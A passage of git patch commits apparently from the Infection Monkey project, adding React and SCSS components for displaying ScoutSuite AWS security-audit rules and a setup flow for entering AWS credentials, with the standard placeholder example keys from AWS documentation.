+ ); + } + + createRuleCountBadge() { + const ruleCount = this.props.scoutsuite_rules.length > 9 ? '9+' : this.props.scoutsuite_rules.length; + return {ruleCount}; + } +} + +ScoutSuiteRuleButton.propTypes = { + scoutsuite_rules: PropTypes.array, + scoutsuite_data: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js new file mode 100644 index 000000000..92fd430da --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js @@ -0,0 +1,58 @@ +import React, {useState} from 'react'; +import {Modal} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; +import Pluralize from 'pluralize'; +import ScoutSuiteSingleRuleDropdown from './ScoutSuiteSingleRuleDropdown'; +import '../../../../styles/components/scoutsuite/RuleModal.scss'; + + +export default function ScoutSuiteRuleModal(props) { + const [openRuleId, setOpenRuleId] = useState(null) + + function toggleRuleDropdown(ruleId) { + if (openRuleId === ruleId) { + setOpenRuleId(null); + } else { + setOpenRuleId(ruleId); + } + } + + function renderRuleDropdowns() { + let dropdowns = []; + props.scoutsuite_rules.forEach(rule => { + let dropdown = ( toggleRuleDropdown(rule.description)} + rule={rule} + scoutsuite_data={props.scoutsuite_data}/>) + dropdowns.push(dropdown) + }); + return dropdowns; + } + + return ( +
+ props.hideCallback()} className={'scoutsuite-rule-modal'}> + +

+
ScoutSuite rules
+

+
+

+ There {Pluralize('is', props.scoutsuite_rules.length)} { +

{props.scoutsuite_rules.length}
+ } ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with finding. +

+ {renderRuleDropdowns()} +
+
+
+ ); + +} + +ScoutSuiteRuleModal.propTypes = { + isModalOpen: PropTypes.bool, + scoutsuite_rules: PropTypes.array, + scoutsuite_data: PropTypes.object, + hideCallback: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js new file mode 100644 index 000000000..1a931b154 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js @@ -0,0 +1,90 @@ +import React from 'react'; +import Collapse from '@kunukn/react-collapse'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp' +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown' + +import classNames from 'classnames'; +import * as PropTypes from 'prop-types'; +import RULE_LEVELS from '../../common/consts/ScoutSuiteConsts/RuleLevels'; +import STATUSES from '../../common/consts/StatusConsts'; +import {faCheckCircle, faCircle, faExclamationCircle} from '@fortawesome/free-solid-svg-icons'; +import RuleDisplay from './RuleDisplay'; + +export default function ScoutSuiteSingleRuleDropdown(props) { + + function getRuleCollapse() { + return ( +
+ + +
+ ); + } + + function getRuleIcon() { + let ruleStatus = getRuleStatus() + switch(ruleStatus) { + case STATUSES.STATUS_PASSED: + return faCheckCircle; + case STATUSES.STATUS_VERIFY: + return faExclamationCircle; + case STATUSES.STATUS_FAILED: + return faExclamationCircle; + case STATUSES.STATUS_UNEXECUTED: + return faCircle; + } + } + + function getDropdownClass(){ + let ruleStatus = getRuleStatus() + switch(ruleStatus) { + case STATUSES.STATUS_PASSED: + return "collapse-success"; + case STATUSES.STATUS_VERIFY: + return "collapse-warning"; + case STATUSES.STATUS_FAILED: + return "collapse-danger"; + case STATUSES.STATUS_UNEXECUTED: + return "collapse-default"; + } + } + + function getRuleStatus(){ + if(props.rule.checked_items === 0) { + return STATUSES.STATUS_UNEXECUTED + } else if (props.rule.items.length === 0) { + return STATUSES.STATUS_PASSED + } else if (props.rule.level === RULE_LEVELS.LEVEL_WARNING) { + return STATUSES.STATUS_VERIFY + } else { + return STATUSES.STATUS_FAILED + } + } + + function renderRule() { + return + } + + return getRuleCollapse(); +} + +ScoutSuiteSingleRuleDropdown.propTypes = { + isCollapseOpen: PropTypes.bool, + rule: PropTypes.object, + scoutsuite_data: PropTypes.object, + toggleCallback: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index e26220d0d..16cb1cab8 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -12,6 +12,7 @@ @import 'components/PreviewPane'; @import 'components/AdvancedMultiSelect'; @import 'components/particle-component/ParticleBackground'; +@import 'components/scoutsuite/ResourceDropdown'; // Define custom elements after bootstrap import diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss index 3e578d45c..369c93685 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss @@ -5,6 +5,7 @@ $disabled-color: #f2f2f2; $info-color: #ade3eb; $default-color: #8c8c8c; $warning-color: #ffe28d; +$success-color: #adf6a9; .collapse-item button { font-size: inherit; @@ -39,6 +40,10 @@ $warning-color: #ffe28d; } } +.collapse-success { + background-color: $success-color !important; +} + .collapse-danger { background-color: $danger-color !important; } @@ -99,3 +104,7 @@ $warning-color: #ffe28d; display: inline-block; min-width: 6em; } + +.rule-collapse svg{ + margin-right: 10px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss new file mode 100644 index 000000000..a5be0a4ae --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss @@ -0,0 +1,20 @@ +.resource-display { + margin-top: 10px; +} + +.resource-display .resource-value-json { + background-color: $gray-200; + padding: 4px; +} + +.resource-display .resource-path-contents svg { + margin-left: 5px; + margin-right: 5px; + width: 10px; +} + +.resource-display .resource-value-title, +.resource-display .resource-path-title { + font-weight: 500; + margin-bottom: 0; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss new file mode 100644 index 000000000..703e27370 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss @@ -0,0 +1,21 @@ +.scoutsuite-rule-display .description h3{ + font-size: 1.2em; + margin-top: 10px; +} + +.scoutsuite-rule-display p{ + display: inline-block; +} + +.scoutsuite-rule-display .checked-resources-title, +.scoutsuite-rule-display .flagged-resources-title, +.scoutsuite-rule-display .reference-list-title{ + font-weight: 500; + margin-right: 5px; + margin-bottom: 0; +} + +.scoutsuite-rule-display .reference-list a { + display: block; + margin-left: 10px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss new file mode 100644 index 000000000..f201da303 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss @@ -0,0 +1,5 @@ +.scoutsuite-rule-modal .modal-dialog{ + max-width: 1000px; + top: 0; + padding: 30px; +} From b8f7064582c19d8af4ef7812e005f618410f27e3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Sep 2020 16:43:03 +0300 Subject: [PATCH 022/466] Fixed conflicting dependencies that require botocore >= 1.18.0 --- monkey/monkey_island/requirements.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 057ea6de2..2ab3b48a7 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -2,8 +2,8 @@ Flask-JWT-Extended==3.24.1 Flask-Pymongo>=2.3.0 Flask-Restful>=0.3.8 PyInstaller==3.6 -awscli>=1.18.131 -boto3>=1.14.54 +awscli==1.18.131 +boto3==1.14.54 botocore>=1.17.54,<1.18.0 cffi>=1.8,!=1.11.3 dpath>=2.0 @@ -26,4 +26,4 @@ virtualenv>=20.0.26 werkzeug>=1.0.1 wheel>=0.34.2 -pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability \ No newline at end of file +pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability From c3fde1898c0124c57841b15bcbc3799a27bf32b5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 21 Sep 2020 11:05:20 +0300 Subject: [PATCH 023/466] Added ScoutSuite scan setup guide to run monkey page. --- .../pages/RunMonkeyPage/RunOptions.js | 11 +++- .../scoutsuite-setup/AWSSetup.js | 56 +++++++++++++++++++ .../scoutsuite-setup/CloudOptions.js | 31 ++++++++++ .../inline-selection/InlineSelection.js | 3 +- .../ui-components/inline-selection/utils.js | 16 ++++++ .../components/scoutsuite/AWSSetup.scss | 17 ++++++ 6 files changed, 132 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index a9fe1f8cf..fa724d6f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -5,8 +5,10 @@ import AuthComponent from '../../AuthComponent'; import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode'; import InlineSelection from '../../ui-components/inline-selection/InlineSelection'; import {cloneDeep} from 'lodash'; -import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; +import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; import RunOnIslandButton from './RunOnIslandButton'; +import AWSSetup from './scoutsuite-setup/AWSSetup'; +import CloudOptions from './scoutsuite-setup/CloudOptions'; function RunOptions(props) { @@ -61,6 +63,13 @@ function RunOptions(props) { setComponent(LocalManualRunOptions, {ips: ips, setComponent: setComponent}) }}/> + { + setComponent(CloudOptions, + {ips: ips, setComponent: setComponent}) + }}/> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js new file mode 100644 index 000000000..6c184aabd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js @@ -0,0 +1,56 @@ +import {Button} from 'react-bootstrap'; +import React from 'react'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; +import CloudOptions from './CloudOptions'; +import {COLUMN_SIZES} from '../../../ui-components/inline-selection/utils'; +import '../../../../styles/components/scoutsuite/AWSSetup.scss'; + +export default function AWSSetup(props) { + return InlineSelection(getContents, { + ...props, + collumnSize: COLUMN_SIZES.LARGE, + onBackButtonClick: () => { + props.setComponent(CloudOptions, props) + } + }) +} + + +const getContents = (props) => { + return ( +
+

ScoutSuite configuration for AWS

+

To assess your AWS infrastructure security do the following:

+
    +
  1. + 1. Configure AWS CLI on Monkey Island Server (if you already have a configured CLI you can skip this step). +
      +
    1. + 1. Download and + install it on Monkey Island server (machine running this page). +
    2. +
    3. + 2. Run aws configure. It's important to configure credentials, which + allows ScoutSuite to get information about your cloud configuration. The most trivial way to do so is to + provide . +
    4. +
    +
  2. +
  3. + 2. If you change the configuration, make sure not to disable AWS system info collector. +
  4. +
  5. + 3. Go back and run Monkey on the Island server. +
  6. +
  7. + 4. Assess results in Zero Trust report. +
  8. +
+
+ ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js new file mode 100644 index 000000000..1605a0eaa --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js @@ -0,0 +1,31 @@ +import React from 'react'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; +import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; +import {faCloud} from '@fortawesome/free-solid-svg-icons'; +import AWSSetup from './AWSSetup'; + + +const CloudOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => { + props.setComponent() + } + }) +} + +const getContents = (props) => { + return ( + <> + { + props.setComponent(AWSSetup, + {setComponent: props.setComponent}) + }}/> + + ) +} + +export default CloudOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js index a699b7d7f..51bf341bd 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js @@ -2,13 +2,14 @@ import React from 'react'; import PropTypes from 'prop-types'; import BackButton from './BackButton'; import {Col, Row, Container} from 'react-bootstrap'; +import {getColumnSize} from './utils'; export default function InlineSelection(WrappedComponent, props) { return ( - + {renderBackButton(props)} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js new file mode 100644 index 000000000..16974f193 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/utils.js @@ -0,0 +1,16 @@ +export const COLUMN_SIZES = { + LARGE: 'large', + STANDARD: 'standard', + SMALL: 'small' +} + + +export function getColumnSize (size) { + if(size === undefined || size === COLUMN_SIZES.STANDARD){ + return {lg: 9, md: 10, sm: 12} + } else if(size === COLUMN_SIZES.LARGE) { + return {lg: 12, md: 12, sm: 12} + } else if(size === COLUMN_SIZES.SMALL) { + return {lg: 7, md: 7, sm: 7} + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss new file mode 100644 index 000000000..c1546ac81 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss @@ -0,0 +1,17 @@ +.aws-scoutsuite-configuration a{ + display: inline-block; + padding: 0 0 3px 0; +} + +.aws-scoutsuite-configuration ol{ + padding-left: 15px; + margin-bottom: 30px; +} + +.aws-scoutsuite-configuration ol.nested-ol{ + margin-bottom: 0; +} + +.aws-scoutsuite-configuration li{ + margin-bottom: 5px; +} From 2c87784a48c45c33d3c79e7d81024a667a2ccd54 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 21 Sep 2020 11:12:23 +0300 Subject: [PATCH 024/466] Minor typos and improvements on AWS scoutsutie setup run option --- .../pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js index 6c184aabd..6fe85936e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js @@ -20,7 +20,7 @@ const getContents = (props) => { return (

ScoutSuite configuration for AWS

-

To assess your AWS infrastructure security do the following:

+

To assess your AWS infrastructure's security do the following:

  1. 1. Configure AWS CLI on Monkey Island Server (if you already have a configured CLI you can skip this step). @@ -28,10 +28,10 @@ const getContents = (props) => {
  2. 1. Download and - install it on Monkey Island server (machine running this page). + install it on the Monkey Island server (machine running this page).
  3. - 2. Run aws configure. It's important to configure credentials, which + 2. Run aws configure. It's important to configure credentials, which allows ScoutSuite to get information about your cloud configuration. The most trivial way to do so is to provide { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 3b8188221..093dba950 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -92,7 +92,7 @@ class RegisterPageComponent extends React.Component { this.updateUsername(evt)} type='text' placeholder='Username'/> this.updatePassword(evt)} type='password' placeholder='Password'/> - diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index fa724d6f6..ddf7ef6cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -7,7 +7,6 @@ import InlineSelection from '../../ui-components/inline-selection/InlineSelectio import {cloneDeep} from 'lodash'; import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; import RunOnIslandButton from './RunOnIslandButton'; -import AWSSetup from './scoutsuite-setup/AWSSetup'; import CloudOptions from './scoutsuite-setup/CloudOptions'; function RunOptions(props) { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js similarity index 71% rename from monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js index 6fe85936e..69ab4903f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSSetup.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js @@ -1,16 +1,17 @@ import {Button} from 'react-bootstrap'; import React from 'react'; -import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; -import CloudOptions from './CloudOptions'; -import {COLUMN_SIZES} from '../../../ui-components/inline-selection/utils'; -import '../../../../styles/components/scoutsuite/AWSSetup.scss'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; +import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; +import AWSSetupOptions from './AWSSetupOptions'; -export default function AWSSetup(props) { + +export default function AWSCLISetup(props) { return InlineSelection(getContents, { ...props, collumnSize: COLUMN_SIZES.LARGE, onBackButtonClick: () => { - props.setComponent(CloudOptions, props) + props.setComponent(AWSSetupOptions, props); } }) } @@ -33,9 +34,11 @@ const getContents = (props) => {
  4. 2. Run aws configure. It's important to configure credentials, which allows ScoutSuite to get information about your cloud configuration. The most trivial way to do so is to - provide .
  5. diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js new file mode 100644 index 000000000..3643ba89c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js @@ -0,0 +1,176 @@ +import React, {useEffect, useState} from 'react'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; +import AWSSetupOptions from './AWSSetupOptions'; +import {Button, Col, Form, Row} from 'react-bootstrap'; +import AuthComponent from '../../../../AuthComponent'; +import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; +import {PROVIDERS} from '../ProvidersEnum'; +import classNames from 'classnames'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; +import {faQuestion} from '@fortawesome/free-solid-svg-icons'; +import Collapse from '@kunukn/react-collapse/dist/Collapse.umd'; +import keySetupForAnyUserImage from '../../../../../images/aws_keys_tutorial-any-user.png'; +import keySetupForCurrentUserImage from '../../../../../images/aws_keys_tutorial-current-user.png'; +import ImageModal from '../../../../ui-components/ImageModal'; + + +export default function AWSCLISetup(props) { + return InlineSelection(getContents, { + ...props, + collumnSize: COLUMN_SIZES.LARGE, + onBackButtonClick: () => { + props.setComponent(AWSSetupOptions, props); + } + }) +} + +const authComponent = new AuthComponent({}) + +const getContents = (props) => { + + const [accessKeyId, setAccessKeyId] = useState(''); + const [secretAccessKey, setSecretAccessKey] = useState(''); + const [sessionToken, setSessionToken] = useState(''); + const [errorMessage, setErrorMessage] = useState(''); + const [successMessage, setSuccessMessage] = useState(''); + const [docCollapseOpen, setDocCollapseOpen] = useState(false); + + function submitKeys(event) { + event.preventDefault(); + setSuccessMessage(''); + setErrorMessage(''); + authComponent.authFetch( + '/api/scoutsuite_auth/' + PROVIDERS.AWS, + { + 'method': 'POST', + 'body': JSON.stringify({ + 'accessKeyId': accessKeyId, + 'secretAccessKey': secretAccessKey, + 'sessionToken': sessionToken + }) + }) + .then(res => res.json()) + .then(res => { + if (res['error_msg'] === '') { + setSuccessMessage('AWS keys saved!'); + } else { + setErrorMessage(res['error_msg']); + } + }); + } + + useEffect(() => { + authComponent.authFetch('/api/aws_keys') + .then(res => res.json()) + .then(res => { + setAccessKeyId(res['access_key_id']); + setSecretAccessKey(res['secret_access_key']); + setSessionToken(res['session_token']); + }); + }, [props]); + + + // TODO separate into standalone component + function getKeyCreationDocsContent() { + return ( +
    +
    Tips
    +

    Consider creating a new user account just for this activity. Assign only ReadOnlyAccess and  + SecurityAudit policies.

    + +
    Keys for custom user
    +

    1. Open the IAM console at https://console.aws.amazon.com/iam/ .

    +

    2. In the navigation pane, choose Users.

    +

    3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials + tab.

    +

    4. In the Access keys section, choose Create access key.

    +

    To view the new access key pair, choose Show. Your credentials will look something like this:

    +

    Access key ID: AKIAIOSFODNN7EXAMPLE

    +

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    + + + + + + +
    Keys for current user
    +

    1. Click on your username in the upper right corner.

    +

    2. Click on "My security credentials".

    +

    3. In the Access keys section, choose Create access key.

    +

    To view the new access key pair, choose Show. Your credentials will look something like this:

    +

    Access key ID: AKIAIOSFODNN7EXAMPLE

    +

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    + + + + + +
    ); + } + + function getKeyCreationDocs() { + return ( +
    + + +
    ); + } + + return ( +
    + {getKeyCreationDocs()} + + setAccessKeyId(evt.target.value)} + type='text' + placeholder='Access key ID' + value={accessKeyId}/> + setSecretAccessKey(evt.target.value)} + type='password' + placeholder='Secret access key' + value={secretAccessKey}/> + setSessionToken(evt.target.value)} + type='text' + placeholder='Session token (optional, only for temp. keys)' + value={sessionToken}/> + { + errorMessage ? +
    {errorMessage}
    + : + '' + } + { + successMessage ? +
    {successMessage}  + Go back and  + to start AWS scan!
    + : + '' + } + + + + + + +
    + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js new file mode 100644 index 000000000..a66a893d8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js @@ -0,0 +1,40 @@ +import React from 'react'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import NextSelectionButton from '../../../../ui-components/inline-selection/NextSelectionButton'; +import {faKey, faTerminal} from '@fortawesome/free-solid-svg-icons'; +import AWSCLISetup from './AWSCLISetup'; +import CloudOptions from '../CloudOptions'; +import AWSKeySetup from './AWSKeySetup'; + + +const AWSSetupOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => { + props.setComponent(CloudOptions, props); + } + }) +} + +const getContents = (props) => { + return ( + <> + { + props.setComponent(AWSKeySetup, + {setComponent: props.setComponent}) + }}/> + { + props.setComponent(AWSCLISetup, + {setComponent: props.setComponent}) + }}/> + + ) +} + +export default AWSSetupOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js index 1605a0eaa..aa4dedd2e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js @@ -1,8 +1,10 @@ -import React from 'react'; +import React, {useEffect, useState} from 'react'; import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; -import {faCloud} from '@fortawesome/free-solid-svg-icons'; -import AWSSetup from './AWSSetup'; +import {faCheck, faCloud, faSync} from '@fortawesome/free-solid-svg-icons'; +import AWSSetupOptions from './AWSConfiguration/AWSSetupOptions'; +import {PROVIDERS} from './ProvidersEnum'; +import AuthComponent from '../../../AuthComponent'; const CloudOptions = (props) => { @@ -14,14 +16,38 @@ const CloudOptions = (props) => { }) } +const authComponent = new AuthComponent({}) + const getContents = (props) => { + + const [description, setDescription] = useState("Loading..."); + const [iconType, setIconType] = useState('spinning-icon'); + const [icon, setIcon] = useState(faSync); + + useEffect(() => { + authComponent.authFetch('/api/scoutsuite_auth/' + PROVIDERS.AWS) + .then(res => res.json()) + .then(res => { + if(res.is_setup){ + setDescription(res.message + 'Click next to change the configuration.'); + setIconType('icon-success'); + setIcon(faCheck); + } else { + setDescription('Setup Amazon Web Services infrastructure scan.'); + setIconType('') + setIcon(faCloud); + } + }); + }, [props]); + return ( <> { - props.setComponent(AWSSetup, + props.setComponent(AWSSetupOptions, {setComponent: props.setComponent}) }}/> diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js new file mode 100644 index 000000000..12632e811 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js @@ -0,0 +1,33 @@ +import React, {useState} from 'react'; +import PropTypes from 'prop-types'; +import {Button, Image, Modal} from 'react-bootstrap'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faSearchPlus} from '@fortawesome/free-solid-svg-icons'; + + +const ImageModal = (props) => { + + const [isModalOpen, setIsModalOpen] = useState(false); + + return ( +
    + + setIsModalOpen(false)}> + + + + +
    + ); +} + +export default ImageModal; + +ImageModal.propTypes = { + image: PropTypes.element +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js index 51bf341bd..502fbf6b1 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/InlineSelection.js @@ -18,8 +18,8 @@ export default function InlineSelection(WrappedComponent, props) { ) } -function renderBackButton(props){ - if(props.onBackButtonClick !== undefined){ +function renderBackButton(props) { + if (props.onBackButtonClick !== undefined) { return (); } } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js index 7a7c47087..174dce254 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/NextSelectionButton.js @@ -6,7 +6,8 @@ import {faAngleRight} from '@fortawesome/free-solid-svg-icons'; export default function nextSelectionButton(props) { let description = props.description !== undefined ? (

    {props.description}

